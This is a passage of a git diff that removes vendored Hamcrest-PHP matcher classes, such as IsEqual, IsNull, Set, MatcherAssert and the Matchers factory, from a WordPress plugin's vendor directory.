- * - * @factory ... - */ - public static function hasItems(/* args... */) - { - $args = func_get_args(); - $matchers = array(); - - foreach ($args as $arg) { - $matchers[] = self::hasItem($arg); - } - - return AllOf::allOf($matchers); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsEqual.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsEqual.php deleted file mode 100644 index 523fba0b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsEqual.php +++ /dev/null @@ -1,44 +0,0 @@ -_item = $item; - } - - public function matches($arg) - { - return (($arg == $this->_item) && ($this->_item == $arg)); - } - - public function describeTo(Description $description) - { - $description->appendValue($this->_item); - } - - /** - * Is the value equal to another value, as tested by the use of the "==" - * comparison operator? - * - * @factory - */ - public static function equalTo($item) - { - return new self($item); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsIdentical.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsIdentical.php deleted file mode 100644 index 28f7b36e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsIdentical.php +++ /dev/null @@ -1,38 +0,0 @@ -_value = $value; - } - - public function describeTo(Description $description) - { - $description->appendValue($this->_value); - } - - /** - * Tests of the value is identical to $value as tested by the "===" operator. - * - * @factory - */ - public static function identicalTo($value) - { - return new self($value); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsInstanceOf.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsInstanceOf.php deleted file mode 100644 index 7a5c92a6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsInstanceOf.php +++ /dev/null @@ -1,67 +0,0 @@ -_theClass = $theClass; - } - - protected function matchesWithDiagnosticDescription($item, Description $mismatchDescription) - { - if (!is_object($item)) { - $mismatchDescription->appendText('was ')->appendValue($item); - - return false; - } - - if (!($item instanceof $this->_theClass)) { - $mismatchDescription->appendText('[' . get_class($item) . '] ') - ->appendValue($item); - - return false; - } - - return true; - } - - public function describeTo(Description $description) - { - $description->appendText('an instance of ') - ->appendText($this->_theClass) - ; - } - - /** - * Is the value an instance of a particular type? - * This version assumes no relationship between the required type and - * the signature of the method that sets it up, for example in - * assertThat($anObject, anInstanceOf('Thing')); - * - * @factory any - */ - public static function anInstanceOf($theClass) - { - return new self($theClass); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNot.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNot.php deleted file mode 100644 index 167f0d06..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNot.php +++ /dev/null @@ -1,44 +0,0 @@ -_matcher = $matcher; - } - - public function matches($arg) - { - return !$this->_matcher->matches($arg); - } - - public function describeTo(Description $description) - { - $description->appendText('not ')->appendDescriptionOf($this->_matcher); - } - - /** - * Matches if value does not match $value. - * - * @factory - */ - public static function not($value) - { - return new self(Util::wrapValueWithIsEqual($value)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNull.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNull.php deleted file mode 100644 index 91a454c1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNull.php +++ /dev/null @@ -1,56 +0,0 @@ -appendText('null'); - } - - /** - * Matches if value is null. - * - * @factory - */ - public static function nullValue() - { - if (!self::$_INSTANCE) { - self::$_INSTANCE = new self(); - } - - return self::$_INSTANCE; - } - - /** - * Matches if value is not null. - * - * @factory - */ - public static function notNullValue() - { - if (!self::$_NOT_INSTANCE) { - self::$_NOT_INSTANCE = IsNot::not(self::nullValue()); - } - - return self::$_NOT_INSTANCE; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsSame.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsSame.php deleted file mode 100644 index 81078705..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsSame.php +++ /dev/null @@ -1,51 +0,0 @@ -_object = $object; - } - - public function matches($object) - { - return ($object === $this->_object) && ($this->_object === $object); - } - - public function describeTo(Description $description) - { - $description->appendText('sameInstance(') - ->appendValue($this->_object) - ->appendText(')') - ; - } - - /** - * Creates a new instance of IsSame. - * - * @param mixed $object - * The predicate evaluates to true only when the argument is - * this object. - * - * @return \Hamcrest\Core\IsSame - * @factory - */ - public static function sameInstance($object) - { - return new self($object); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsTypeOf.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsTypeOf.php deleted file mode 100644 index d24f0f94..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsTypeOf.php +++ /dev/null @@ -1,71 +0,0 @@ -_theType = strtolower($theType); - } - - public function matches($item) - { - return strtolower(gettype($item)) == $this->_theType; - } - - public function describeTo(Description $description) - { - $description->appendText(self::getTypeDescription($this->_theType)); - } - - public function describeMismatch($item, Description $description) - { - if ($item === null) { - $description->appendText('was null'); - } else { - $description->appendText('was ') - ->appendText(self::getTypeDescription(strtolower(gettype($item)))) - ->appendText(' ') - ->appendValue($item) - ; - } - } - - public static function getTypeDescription($type) - { - if ($type == 'null') { - return 'null'; - } - - return (strpos('aeiou', substr($type, 0, 1)) === false ? 'a ' : 'an ') - . $type; - } - - /** - * Is the value a particular built-in type? - * - * @factory - */ - public static function typeOf($theType) - { - return new self($theType); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Set.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Set.php deleted file mode 100644 index cdc45d53..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Set.php +++ /dev/null @@ -1,95 +0,0 @@ - - * assertThat(array('a', 'b'), set('b')); - * assertThat($foo, set('bar')); - * assertThat('Server', notSet('defaultPort')); - * - * - * @todo Replace $property with a matcher and iterate all property names. - */ -class Set extends BaseMatcher -{ - - private $_property; - private $_not; - - public function __construct($property, $not = false) - { - $this->_property = $property; - $this->_not = $not; - } - - public function matches($item) - { - if ($item === null) { - return false; - } - $property = $this->_property; - if (is_array($item)) { - $result = isset($item[$property]); - } elseif (is_object($item)) { - $result = isset($item->$property); - } elseif (is_string($item)) { - $result = isset($item::$$property); - } else { - throw new \InvalidArgumentException('Must pass an object, array, or class name'); - } - - return $this->_not ? !$result : $result; - } - - public function describeTo(Description $description) - { - $description->appendText($this->_not ? 'unset property ' : 'set property ')->appendText($this->_property); - } - - public function describeMismatch($item, Description $description) - { - $value = ''; - if (!$this->_not) { - $description->appendText('was not set'); - } else { - $property = $this->_property; - if (is_array($item)) { - $value = $item[$property]; - } elseif (is_object($item)) { - $value = $item->$property; - } elseif (is_string($item)) { - $value = $item::$$property; - } - parent::describeMismatch($value, $description); - } - } - - /** - * Matches if value (class, object, or array) has named $property. - * - * @factory - */ - public static function set($property) - { - return new self($property); - } - - /** - * Matches if value (class, object, or array) does not have named $property. - * - * @factory - */ - public static function notSet($property) - { - return new self($property, true); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/ShortcutCombination.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/ShortcutCombination.php deleted file mode 100644 index d93db74f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/ShortcutCombination.php +++ /dev/null @@ -1,43 +0,0 @@ - - */ - private $_matchers; - - public function __construct(array $matchers) - { - Util::checkAllAreMatchers($matchers); - - $this->_matchers = $matchers; - } - - protected function matchesWithShortcut($item, $shortcut) - { - /** @var $matcher \Hamcrest\Matcher */ - foreach ($this->_matchers as $matcher) { - if ($matcher->matches($item) == $shortcut) { - return $shortcut; - } - } - - return !$shortcut; - } - - public function describeToWithOperator(Description $description, $operator) - { - $description->appendList('(', ' ' . $operator . ' ', ')', $this->_matchers); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Description.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Description.php deleted file mode 100644 index 9a482dbf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Description.php +++ /dev/null @@ -1,70 +0,0 @@ -matchesWithDiagnosticDescription($item, new NullDescription()); - } - - public function describeMismatch($item, Description $mismatchDescription) - { - $this->matchesWithDiagnosticDescription($item, $mismatchDescription); - } - - abstract protected function matchesWithDiagnosticDescription($item, Description $mismatchDescription); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/FeatureMatcher.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/FeatureMatcher.php deleted file mode 100644 index 59f6cc73..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/FeatureMatcher.php +++ /dev/null @@ -1,67 +0,0 @@ -featureValueOf() in a subclass to pull out the feature to be - * matched against. - */ -abstract class FeatureMatcher extends TypeSafeDiagnosingMatcher -{ - - private $_subMatcher; - private $_featureDescription; - private $_featureName; - - /** - * Constructor. - * - * @param string $type - * @param string $subtype - * @param \Hamcrest\Matcher $subMatcher The matcher to apply to the feature - * @param string $featureDescription Descriptive text to use in describeTo - * @param string $featureName Identifying text for mismatch message - */ - public function __construct($type, $subtype, Matcher $subMatcher, $featureDescription, $featureName) - { - parent::__construct($type, $subtype); - - $this->_subMatcher = $subMatcher; - $this->_featureDescription = $featureDescription; - $this->_featureName = $featureName; - } - - /** - * Implement this to extract the interesting feature. - * - * @param mixed $actual the target object - * - * @return mixed the feature to be matched - */ - abstract protected function featureValueOf($actual); - - public function matchesSafelyWithDiagnosticDescription($actual, Description $mismatchDescription) - { - $featureValue = $this->featureValueOf($actual); - - if (!$this->_subMatcher->matches($featureValue)) { - $mismatchDescription->appendText($this->_featureName) - ->appendText(' was ')->appendValue($featureValue); - - return false; - } - - return true; - } - - final public function describeTo(Description $description) - { - $description->appendText($this->_featureDescription)->appendText(' ') - ->appendDescriptionOf($this->_subMatcher) - ; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Internal/SelfDescribingValue.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Internal/SelfDescribingValue.php deleted file mode 100644 index 995da71d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Internal/SelfDescribingValue.php +++ /dev/null @@ -1,27 +0,0 @@ -_value = $value; - } - - public function describeTo(Description $description) - { - $description->appendValue($this->_value); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matcher.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matcher.php deleted file mode 100644 index e5dcf093..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matcher.php +++ /dev/null @@ -1,50 +0,0 @@ - - * Matcher implementations should NOT directly implement this interface. - * Instead, extend the {@link Hamcrest\BaseMatcher} abstract class, - * which will ensure that the Matcher API can grow to support - * new features and remain compatible with all Matcher implementations. - *

- * For easy access to common Matcher implementations, use the static factory - * methods in {@link Hamcrest\CoreMatchers}. - * - * @see Hamcrest\CoreMatchers - * @see Hamcrest\BaseMatcher - */ -interface Matcher extends SelfDescribing -{ - - /** - * Evaluates the matcher for argument $item. - * - * @param mixed $item the object against which the matcher is evaluated. - * - * @return boolean true if $item matches, - * otherwise false. - * - * @see Hamcrest\BaseMatcher - */ - public function matches($item); - - /** - * Generate a description of why the matcher has not accepted the item. - * The description will be part of a larger description of why a matching - * failed, so it should be concise. - * This method assumes that matches($item) is false, but - * will not check this. - * - * @param mixed $item The item that the Matcher has rejected. - * @param Description $description - * @return - */ - public function describeMismatch($item, Description $description); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/MatcherAssert.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/MatcherAssert.php deleted file mode 100644 index d546dbee..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/MatcherAssert.php +++ /dev/null @@ -1,118 +0,0 @@ - - * // With an identifier - * assertThat("apple flavour", $apple->flavour(), equalTo("tasty")); - * // Without an identifier - * assertThat($apple->flavour(), equalTo("tasty")); - * // Evaluating a boolean expression - * assertThat("some error", $a > $b); - * assertThat($a > $b); - * - */ - public static function assertThat(/* $args ... */) - { - $args = func_get_args(); - switch (count($args)) { - case 1: - self::$_count++; - if (!$args[0]) { - throw new AssertionError(); - } - break; - - case 2: - self::$_count++; - if ($args[1] instanceof Matcher) { - self::doAssert('', $args[0], $args[1]); - } elseif (!$args[1]) { - throw new AssertionError($args[0]); - } - break; - - case 3: - self::$_count++; - self::doAssert( - $args[0], - $args[1], - Util::wrapValueWithIsEqual($args[2]) - ); - break; - - default: - throw new \InvalidArgumentException('assertThat() requires one to three arguments'); - } - } - - /** - * Returns the number of assertions performed. - * - * @return int - */ - public static function getCount() - { - return self::$_count; - } - - /** - * Resets the number of assertions performed to zero. - */ - public static function resetCount() - { - self::$_count = 0; - } - - /** - * Performs the actual assertion logic. - * - * If $matcher doesn't match $actual, - * throws a {@link Hamcrest\AssertionError} with a description - * of the failure along with the optional $identifier. - * - * @param string $identifier added to the message upon failure - * @param mixed $actual value to compare against $matcher - * @param \Hamcrest\Matcher $matcher applied to $actual - * @throws AssertionError - */ - private static function doAssert($identifier, $actual, Matcher $matcher) - { - if (!$matcher->matches($actual)) { - $description = new StringDescription(); - if (!empty($identifier)) { - $description->appendText($identifier . PHP_EOL); - } - $description->appendText('Expected: ') - ->appendDescriptionOf($matcher) - ->appendText(PHP_EOL . ' but: '); - - $matcher->describeMismatch($actual, $description); - - throw new AssertionError((string) $description); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matchers.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matchers.php deleted file mode 100644 index 23232e45..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matchers.php +++ /dev/null @@ -1,713 +0,0 @@ - - * assertThat($string, both(containsString("a"))->andAlso(containsString("b"))); - * - */ - public static function both(\Hamcrest\Matcher $matcher) - { - return \Hamcrest\Core\CombinableMatcher::both($matcher); - } - - /** - * This is useful for fluently combining matchers where either may pass, - * for example: - *

-     *   assertThat($string, either(containsString("a"))->orElse(containsString("b")));
-     * 
- */ - public static function either(\Hamcrest\Matcher $matcher) - { - return \Hamcrest\Core\CombinableMatcher::either($matcher); - } - - /** - * Wraps an existing matcher and overrides the description when it fails. - */ - public static function describedAs(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Core\DescribedAs', 'describedAs'), $args); - } - - /** - * @param Matcher $itemMatcher - * A matcher to apply to every element in an array. - * - * @return \Hamcrest\Core\Every - * Evaluates to TRUE for a collection in which every item matches $itemMatcher - */ - public static function everyItem(\Hamcrest\Matcher $itemMatcher) - { - return \Hamcrest\Core\Every::everyItem($itemMatcher); - } - - /** - * Does array size satisfy a given matcher? - */ - public static function hasToString($matcher) - { - return \Hamcrest\Core\HasToString::hasToString($matcher); - } - - /** - * Decorates another Matcher, retaining the behavior but allowing tests - * to be slightly more expressive. - * - * For example: assertThat($cheese, equalTo($smelly)) - * vs. assertThat($cheese, is(equalTo($smelly))) - */ - public static function is($value) - { - return \Hamcrest\Core\Is::is($value); - } - - /** - * This matcher always evaluates to true. - * - * @param string $description A meaningful string used when describing itself. - * - * @return \Hamcrest\Core\IsAnything - */ - public static function anything($description = 'ANYTHING') - { - return \Hamcrest\Core\IsAnything::anything($description); - } - - /** - * Test if the value is an array containing this matcher. - * - * Example: - *
-     * assertThat(array('a', 'b'), hasItem(equalTo('b')));
-     * //Convenience defaults to equalTo()
-     * assertThat(array('a', 'b'), hasItem('b'));
-     * 
- */ - public static function hasItem(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Core\IsCollectionContaining', 'hasItem'), $args); - } - - /** - * Test if the value is an array containing elements that match all of these - * matchers. - * - * Example: - *
-     * assertThat(array('a', 'b', 'c'), hasItems(equalTo('a'), equalTo('b')));
-     * 
- */ - public static function hasItems(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Core\IsCollectionContaining', 'hasItems'), $args); - } - - /** - * Is the value equal to another value, as tested by the use of the "==" - * comparison operator? - */ - public static function equalTo($item) - { - return \Hamcrest\Core\IsEqual::equalTo($item); - } - - /** - * Tests of the value is identical to $value as tested by the "===" operator. - */ - public static function identicalTo($value) - { - return \Hamcrest\Core\IsIdentical::identicalTo($value); - } - - /** - * Is the value an instance of a particular type? - * This version assumes no relationship between the required type and - * the signature of the method that sets it up, for example in - * assertThat($anObject, anInstanceOf('Thing')); - */ - public static function anInstanceOf($theClass) - { - return \Hamcrest\Core\IsInstanceOf::anInstanceOf($theClass); - } - - /** - * Is the value an instance of a particular type? - * This version assumes no relationship between the required type and - * the signature of the method that sets it up, for example in - * assertThat($anObject, anInstanceOf('Thing')); - */ - public static function any($theClass) - { - return \Hamcrest\Core\IsInstanceOf::anInstanceOf($theClass); - } - - /** - * Matches if value does not match $value. - */ - public static function not($value) - { - return \Hamcrest\Core\IsNot::not($value); - } - - /** - * Matches if value is null. - */ - public static function nullValue() - { - return \Hamcrest\Core\IsNull::nullValue(); - } - - /** - * Matches if value is not null. - */ - public static function notNullValue() - { - return \Hamcrest\Core\IsNull::notNullValue(); - } - - /** - * Creates a new instance of IsSame. - * - * @param mixed $object - * The predicate evaluates to true only when the argument is - * this object. - * - * @return \Hamcrest\Core\IsSame - */ - public static function sameInstance($object) - { - return \Hamcrest\Core\IsSame::sameInstance($object); - } - - /** - * Is the value a particular built-in type? - */ - public static function typeOf($theType) - { - return \Hamcrest\Core\IsTypeOf::typeOf($theType); - } - - /** - * Matches if value (class, object, or array) has named $property. - */ - public static function set($property) - { - return \Hamcrest\Core\Set::set($property); - } - - /** - * Matches if value (class, object, or array) does not have named $property. - */ - public static function notSet($property) - { - return \Hamcrest\Core\Set::notSet($property); - } - - /** - * Matches if value is a number equal to $value within some range of - * acceptable error $delta. - */ - public static function closeTo($value, $delta) - { - return \Hamcrest\Number\IsCloseTo::closeTo($value, $delta); - } - - /** - * The value is not > $value, nor < $value. - */ - public static function comparesEqualTo($value) - { - return \Hamcrest\Number\OrderingComparison::comparesEqualTo($value); - } - - /** - * The value is > $value. - */ - public static function greaterThan($value) - { - return \Hamcrest\Number\OrderingComparison::greaterThan($value); - } - - /** - * The value is >= $value. - */ - public static function greaterThanOrEqualTo($value) - { - return \Hamcrest\Number\OrderingComparison::greaterThanOrEqualTo($value); - } - - /** - * The value is >= $value. - */ - public static function atLeast($value) - { - return \Hamcrest\Number\OrderingComparison::greaterThanOrEqualTo($value); - } - - /** - * The value is < $value. - */ - public static function lessThan($value) - { - return \Hamcrest\Number\OrderingComparison::lessThan($value); - } - - /** - * The value is <= $value. - */ - public static function lessThanOrEqualTo($value) - { - return \Hamcrest\Number\OrderingComparison::lessThanOrEqualTo($value); - } - - /** - * The value is <= $value. - */ - public static function atMost($value) - { - return \Hamcrest\Number\OrderingComparison::lessThanOrEqualTo($value); - } - - /** - * Matches if value is a zero-length string. - */ - public static function isEmptyString() - { - return \Hamcrest\Text\IsEmptyString::isEmptyString(); - } - - /** - * Matches if value is a zero-length string. - */ - public static function emptyString() - { - return \Hamcrest\Text\IsEmptyString::isEmptyString(); - } - - /** - * Matches if value is null or a zero-length string. - */ - public static function isEmptyOrNullString() - { - return \Hamcrest\Text\IsEmptyString::isEmptyOrNullString(); - } - - /** - * Matches if value is null or a zero-length string. - */ - public static function nullOrEmptyString() - { - return \Hamcrest\Text\IsEmptyString::isEmptyOrNullString(); - } - - /** - * Matches if value is a non-zero-length string. - */ - public static function isNonEmptyString() - { - return \Hamcrest\Text\IsEmptyString::isNonEmptyString(); - } - - /** - * Matches if value is a non-zero-length string. - */ - public static function nonEmptyString() - { - return \Hamcrest\Text\IsEmptyString::isNonEmptyString(); - } - - /** - * Matches if value is a string equal to $string, regardless of the case. - */ - public static function equalToIgnoringCase($string) - { - return \Hamcrest\Text\IsEqualIgnoringCase::equalToIgnoringCase($string); - } - - /** - * Matches if value is a string equal to $string, regardless of whitespace. - */ - public static function equalToIgnoringWhiteSpace($string) - { - return \Hamcrest\Text\IsEqualIgnoringWhiteSpace::equalToIgnoringWhiteSpace($string); - } - - /** - * Matches if value is a string that matches regular expression $pattern. - */ - public static function matchesPattern($pattern) - { - return \Hamcrest\Text\MatchesPattern::matchesPattern($pattern); - } - - /** - * Matches if value is a string that contains $substring. - */ - public static function containsString($substring) - { - return \Hamcrest\Text\StringContains::containsString($substring); - } - - /** - * Matches if value is a string that contains $substring regardless of the case. - */ - public static function containsStringIgnoringCase($substring) - { - return \Hamcrest\Text\StringContainsIgnoringCase::containsStringIgnoringCase($substring); - } - - /** - * Matches if value contains $substrings in a constrained order. - */ - public static function stringContainsInOrder(/* args... */) - { - $args = func_get_args(); - return call_user_func_array(array('\Hamcrest\Text\StringContainsInOrder', 'stringContainsInOrder'), $args); - } - - /** - * Matches if value is a string that ends with $substring. - */ - public static function endsWith($substring) - { - return \Hamcrest\Text\StringEndsWith::endsWith($substring); - } - - /** - * Matches if value is a string that starts with $substring. - */ - public static function startsWith($substring) - { - return \Hamcrest\Text\StringStartsWith::startsWith($substring); - } - - /** - * Is the value an array? - */ - public static function arrayValue() - { - return \Hamcrest\Type\IsArray::arrayValue(); - } - - /** - * Is the value a boolean? - */ - public static function booleanValue() - { - return \Hamcrest\Type\IsBoolean::booleanValue(); - } - - /** - * Is the value a boolean? - */ - public static function boolValue() - { - return \Hamcrest\Type\IsBoolean::booleanValue(); - } - - /** - * Is the value callable? - */ - public static function callableValue() - { - return \Hamcrest\Type\IsCallable::callableValue(); - } - - /** - * Is the value a float/double? - */ - public static function doubleValue() - { - return \Hamcrest\Type\IsDouble::doubleValue(); - } - - /** - * Is the value a float/double? - */ - public static function floatValue() - { - return \Hamcrest\Type\IsDouble::doubleValue(); - } - - /** - * Is the value an integer? - */ - public static function integerValue() - { - return \Hamcrest\Type\IsInteger::integerValue(); - } - - /** - * Is the value an integer? - */ - public static function intValue() - { - return \Hamcrest\Type\IsInteger::integerValue(); - } - - /** - * Is the value a numeric? - */ - public static function numericValue() - { - return \Hamcrest\Type\IsNumeric::numericValue(); - } - - /** - * Is the value an object? - */ - public static function objectValue() - { - return \Hamcrest\Type\IsObject::objectValue(); - } - - /** - * Is the value an object? - */ - public static function anObject() - { - return \Hamcrest\Type\IsObject::objectValue(); - } - - /** - * Is the value a resource? - */ - public static function resourceValue() - { - return \Hamcrest\Type\IsResource::resourceValue(); - } - - /** - * Is the value a scalar (boolean, integer, double, or string)? - */ - public static function scalarValue() - { - return \Hamcrest\Type\IsScalar::scalarValue(); - } - - /** - * Is the value a string? - */ - public static function stringValue() - { - return \Hamcrest\Type\IsString::stringValue(); - } - - /** - * Wraps $matcher with {@link Hamcrest\Core\IsEqual) - * if it's not a matcher and the XPath in count() - * if it's an integer. - */ - public static function hasXPath($xpath, $matcher = null) - { - return \Hamcrest\Xml\HasXPath::hasXPath($xpath, $matcher); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/NullDescription.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/NullDescription.php deleted file mode 100644 index aae8e461..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/NullDescription.php +++ /dev/null @@ -1,43 +0,0 @@ -_value = $value; - $this->_delta = $delta; - } - - protected function matchesSafely($item) - { - return $this->_actualDelta($item) <= 0.0; - } - - protected function describeMismatchSafely($item, Description $mismatchDescription) - { - $mismatchDescription->appendValue($item) - ->appendText(' differed by ') - ->appendValue($this->_actualDelta($item)) - ; - } - - public function describeTo(Description $description) - { - $description->appendText('a numeric value within ') - ->appendValue($this->_delta) - ->appendText(' of ') - ->appendValue($this->_value) - ; - } - - /** - * Matches if value is a number equal to $value within some range of - * acceptable error $delta. - * - * @factory - */ - public static function closeTo($value, $delta) - { - return new self($value, $delta); - } - - // -- Private Methods - - private function _actualDelta($item) - { - return (abs(($item - $this->_value)) - $this->_delta); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Number/OrderingComparison.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Number/OrderingComparison.php deleted file mode 100644 index 369d0cfa..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Number/OrderingComparison.php +++ /dev/null @@ -1,132 +0,0 @@ -_value = $value; - $this->_minCompare = $minCompare; - $this->_maxCompare = $maxCompare; - } - - protected function matchesSafely($other) - { - $compare = $this->_compare($this->_value, $other); - - return ($this->_minCompare <= $compare) && ($compare <= $this->_maxCompare); - } - - protected function describeMismatchSafely($item, Description $mismatchDescription) - { - $mismatchDescription - ->appendValue($item)->appendText(' was ') - ->appendText($this->_comparison($this->_compare($this->_value, $item))) - ->appendText(' ')->appendValue($this->_value) - ; - } - - public function describeTo(Description $description) - { - $description->appendText('a value ') - ->appendText($this->_comparison($this->_minCompare)) - ; - if ($this->_minCompare != $this->_maxCompare) { - $description->appendText(' or ') - ->appendText($this->_comparison($this->_maxCompare)) - ; - } - $description->appendText(' ')->appendValue($this->_value); - } - - /** - * The value is not > $value, nor < $value. - * - * @factory - */ - public static function comparesEqualTo($value) - { - return new self($value, 0, 0); - } - - /** - * The value is > $value. - * - * @factory - */ - public static function greaterThan($value) - { - return new self($value, -1, -1); - } - - /** - * The value is >= $value. - * - * @factory atLeast - */ - public static function greaterThanOrEqualTo($value) - { - return new self($value, -1, 0); - } - - /** - * The value is < $value. - * - * @factory - */ - public static function lessThan($value) - { - return new self($value, 1, 1); - } - - /** - * The value is <= $value. - * - * @factory atMost - */ - public static function lessThanOrEqualTo($value) - { - return new self($value, 0, 1); - } - - // -- Private Methods - - private function _compare($left, $right) - { - $a = $left; - $b = $right; - - if ($a < $b) { - return -1; - } elseif ($a == $b) { - return 0; - } else { - return 1; - } - } - - private function _comparison($compare) - { - if ($compare > 0) { - return 'less than'; - } elseif ($compare == 0) { - return 'equal to'; - } else { - return 'greater than'; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/SelfDescribing.php 